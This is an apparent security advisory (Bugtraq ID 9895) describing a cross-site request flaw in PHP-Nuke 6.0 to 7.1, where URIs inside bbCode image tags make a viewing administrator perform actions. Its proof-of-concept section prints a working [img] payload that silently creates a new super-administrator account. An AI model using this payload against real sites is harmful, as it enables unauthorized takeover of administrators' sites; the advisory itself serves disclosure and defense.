PHP-Nuke Image Tag Admin Command Execution Vulnerability

BID:9895

Info

PHP-Nuke Image Tag Admin Command Execution Vulnerability

Bugtraq ID: 9895
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 16 2004 12:00AM
Updated: Mar 16 2004 12:00AM
Credit: Disclosure of this issue is credited to Janek Vind <[email protected]>.
Vulnerable: Francisco Burzi PHP-Nuke 7.1
Francisco Burzi PHP-Nuke 7.0 FINAL
Francisco Burzi PHP-Nuke 7.0
Francisco Burzi PHP-Nuke 6.9
Francisco Burzi PHP-Nuke 6.7
Francisco Burzi PHP-Nuke 6.6
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5 FINAL
Francisco Burzi PHP-Nuke 6.5 BETA 1
Francisco Burzi PHP-Nuke 6.5
Francisco Burzi PHP-Nuke 6.0
Not Vulnerable:

Discussion

PHP-Nuke Image Tag Admin Command Execution Vulnerability

It has been reported that PHP-Nuke is prone to a remote admin command execution vulnerability. This issue is due to a design error that allows an attacker to specify arbitrary URI values in bbCode tags contained within posts.

This issue may be leveraged to force an admin user viewing a malicious post to perform some query to the affected application such as adding a user or removing arbitrary data from the database.

Exploit / POC

PHP-Nuke Image Tag Admin Command Execution Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

The following URI, when inserted between the '[img]' tags and viewed by an admin user will cause the creation of a new admin user:
[img]http://www.example.com/admin.php?op=AddAuthor&add_aid=attacker&add_name=God&add_pwd=coolpass&[email protected]&add_radminsuper=1[/img]

Solution / Fix

PHP-Nuke Image Tag Admin Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHP-Nuke Image Tag Admin Command Execution Vulnerability

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